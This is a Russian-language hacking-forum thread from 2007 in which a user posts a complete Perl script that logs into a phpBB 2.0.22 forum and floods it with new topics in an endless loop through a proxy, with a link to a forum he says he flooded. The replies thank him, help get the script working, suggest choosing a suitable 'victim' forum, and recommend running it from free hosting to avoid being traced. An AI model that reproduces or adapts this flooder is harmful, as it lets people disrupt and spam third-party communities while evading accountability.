Форумы флудер форума phpBB

Discussion in 'Уязвимости CMS/форумов' started by C!klodoL, 8 Sep 2007.

  1. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    выкладываю флудер форума phpBB, тестировался на версии 2.0.22, результат испытаний вы можете наблюдать тут: nod*evice*.ru/*forum/*viewfo*rum.php?*f=*9*7 , * из ссылки естественно убрать
    Code:
    #!/usr/bin/perl
    
    # phpBB2 флудер, тестировался на phpBB 2.0.22
    # C!klodoL
    # специально для antichat.ru
    
    use strict;
    use warnings;
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    my $forumurl = 'http://www.site.ru/forum/'; #путь к форуму
    my $proxy    = 'localhost:4001';    #прокси
    my $forumnum = 97;  #номер форума
    
    my $username = 'Хэккер'; #ник от форума
    my $password = 'P@$$w0rD'; #пароль
    
    my $delay    = 30;  #антифлуд задержка
    my $subject  = 'Превед!!!'; #тема топика
    my $message  = 'Это не флуд =)))))))))))))))))))))))';  #текст сообщения
    
    my $useragent = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new;
    $useragent->cookie_jar($cookies);
    
    if ($proxy)
    {
        $useragent->proxy('http', "http://$proxy");
    }
    
    my $request = $useragent->post($forumurl.'login.php',
                                   {username => $username,
                                    password => $password,
                                    redirect => '',
                                    login => 'Log+in'})->as_string;
    
    my ($sid) = $request =~ /index\.php\?sid=(.*)/;
    
    print "[+] Get sid $sid\n";
    
    if ($request =~ / 302 /)
    {
        print "[+] Login successful, flooding...\n";
    }
    else
    {
        print "[-] Cant logining\n";
        exit;
    }
    my $counter = 1;
    while (1)
    {
        $request = $useragent->post($forumurl.'posting.php',
                                    {subject => $subject,
                                     message => $message,
                                     mode => 'newtopic',
                                     sid => $sid,
                                     f => $forumnum,
                                     post => 'Submit'});
        print "[+] Posting topic..".$counter++."\n";
        sleep ($delay);
    }
    P.S. Флуд это плохо и им занимаются только дети.
     
    #1 C!klodoL, 8 Sep 2007
    Last edited: 8 Sep 2007
    12 people like this.
  2. TrypoED

    TrypoED Banned

    Joined:
    22 Apr 2007
    Messages:
    145
    Likes Received:
    106
    Reputations:
    -85
    ММ... Спасибо,щас затестим...
     
  3. n0153r

    n0153r Elder - Старейшина

    Joined:
    19 Jun 2007
    Messages:
    260
    Likes Received:
    92
    Reputations:
    11
    +1 ! Продолжай в том же духе...
     
  4. SpewFire

    SpewFire Banned

    Joined:
    14 Mar 2007
    Messages:
    50
    Likes Received:
    24
    Reputations:
    0
    СпС!!! +)))
     
    1 person likes this.
  5. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    на сокетах то можно, только зачем? у LWP и так поддержка прокси есть..
     
    1 person likes this.
  6. vadim399

    vadim399 Banned

    Joined:
    27 May 2007
    Messages:
    325
    Likes Received:
    180
    Reputations:
    -3
    Спасибо, флудер пработает на 5+
     
    1 person likes this.
  7. N19hTW0lF

    N19hTW0lF Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    188
    Likes Received:
    140
    Reputations:
    4
    нормуль! +5
     
    1 person likes this.
  8. qwerty1

    qwerty1 New Member

    Joined:
    20 Jun 2007
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    пишет Cant logining,логин пароль указал верно,ссылку дал верно,форум 1 поставил,значение,выдает ошибку,хоть тресни
     
  9. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    Если что.
    Автор скрипта неопределенное оффлайн (со своего компа).
     
    #9 inv, 29 Sep 2007
    Last edited: 29 Sep 2007
    1 person likes this.
  10. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    попробуй вместо условия ($request =~ / 302 /) поставить 1 или просто удали этот кусок кода тогда факт залогинивания не будет проверяться
     
  11. qwerty1

    qwerty1 New Member

    Joined:
    20 Jun 2007
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    C!klodoL удалил,все вроде нормально...пишет [+] Get sid все нормально,пошло зостинг месендж 1,2,3...захожу на форум,смотрю,нет ничего...И еще при запуске когда perl flood.pl выжает ошибку 40 ,что делать
     
  12. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    И я себя этим оправдывал тоже :)
    ++

    Проблема с флудом решается 2-3-я sql запросами :)
     
    1 person likes this.
  13. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    qwerty1
    ошибка 40 это видимо ты что то лишнее из кода вырезал, попробуй удали use strict и use warnings, я писал под пхпбб последней версии который был скачан с офф сайта, в некоторых пхпбб есть защита от флуда в виде скрытых полей, лучше выбери в качестве жертвы другой форум подходящей версии :) а вообще как сказано выше большого ущерба ты этим форуму не нанесешь
     
    1 person likes this.
  14. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Только дурак будет с локалхоста этим заниматся. Ставишь скрипт на бесплатный хостинг с php и дело пошло.
     
  15. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Никого не называл. Зачем нужны всякие сокеты и другие извращения если изначально можно запустить скрипт просто на другой машине.
     
  16. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    Ну так ты бы кинул бесплатный хостинг с которого можно весь день флудить
    и скрипт=\
    Всего -то делов.
     
  17. aspirine29

    aspirine29 New Member

    Joined:
    22 Jun 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Спасибо, отличный флудер! Давно искал!!!
     
    #17 aspirine29, 23 Jun 2008
    Last edited: 23 Jun 2008
  18. brlamo

    brlamo Banned

    Joined:
    15 May 2008
    Messages:
    12
    Likes Received:
    24
    Reputations:
    0
    Спасибо, у меня то же все работает!
     
  19. Diversant-kz

    Diversant-kz New Member

    Joined:
    18 Jan 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Надо создавать html страницу и вписывать туда код
    или что чтот я нечего не пойму объясните пожалуста
     
  20. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    установи active perl -> сохрани в файл flooder.pl -> запусти ..